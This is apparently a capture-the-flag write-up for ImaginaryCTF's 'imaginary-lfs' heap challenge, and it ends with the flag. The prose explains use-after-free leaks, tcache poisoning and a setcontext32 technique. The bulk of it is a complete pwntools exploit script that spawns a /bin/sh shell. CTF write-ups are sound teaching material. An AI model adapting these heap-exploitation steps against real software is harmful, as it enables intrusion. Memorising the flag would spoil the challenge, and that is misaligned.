Description
                            ImaginaryCTF is introducing our brand new Storage-as-a-Service system, imaginary-lfs.
                            Attachments
                            https://cybersharing.net/s/11d81577713bf1015d1b65549d5cc557
nc eth007.me 42190
                            Writeup 
                            
                                The program restricts us to mmaped chunks, but we can fake tcache chunks and free them. Since we can view after free, we can leak the address of the mmap chunks. The mmap chunks are adjacent to libc, so we get a libc leak and do tcache poisoning with the overflow during creation. Then, we can use the secret metadata option to allocate a normal tcache chunk and use whatever you want to achieve shell (I used setcontext32)
from pwn import * 
from setcontext32 import setcontext32 
r = process('./lfs')
libc = ELF('./libc.so.6') 
i = 0 
def create(sz,data,tag):
    global i 
    r.recvuntil(b'>')
    r.sendline(b'1')
    r.recvuntil(b'>')
    r.sendline(str(sz).encode())
    r.recvuntil(b'>')
    r.sendline(data)
    r.recvuntil(b'>')
    r.sendline(tag.ljust(64,b'\0'))
    i += 1 
    return i-1
def delete(i):
    r.recvuntil(b'>')
    r.sendline(b'2')
    r.recvuntil(b'>')
    r.sendline(str(i).encode())
def export(i):
    r.recvuntil(b'>')
    r.sendline(b'3')
    r.recvuntil(b'>')
    r.sendline(str(i).encode())
    r.recvuntil(b'---'); r.recvuntil(b'---\n')
    contents=r.recvuntil(b'---', drop=True)
    r.recvuntil(b'---\n')
    return contents 
def metadata(i, data, sz):
    r.recvuntil(b'>')
    r.sendline(b'1337')
    r.recvuntil(b'>')
    r.sendline(str(i).encode())
    r.recvuntil(b'>')
    r.sendline(str(sz).encode())
    r.recvuntil(b'>')
    r.sendline(data)
a = create(0x23000-0x18, b'a', b'a')
b = create(0x23000-0x18, b'b', b'a'*0x10+p64(0x410|0x1)) 
c = create(0x23000-0x18, b'c', b'a'*0x10+p64(0x410|0x1))
delete(a)
delete(b)
encrypted = u64(export(a)[:8])
libc.address = (encrypted << 12) + 0x26000
b_key = encrypted - 0x23 
delete(c)
dest, payload = setcontext32(
        libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
    )
c = create(0x24000-0x18, b'c', b'a'*0x10+p64(0x30|0x1)+p64(b_key ^ dest))
metadata(c, b'a'*0x408,0x408)
metadata(c, payload[:0x408], 0x408)
r.interactive()
                             
                            Flag 
                            
                                ictf{5h0uldv3_5p3n7_m0r3_mun3y_0n_53cur17y_30b966da}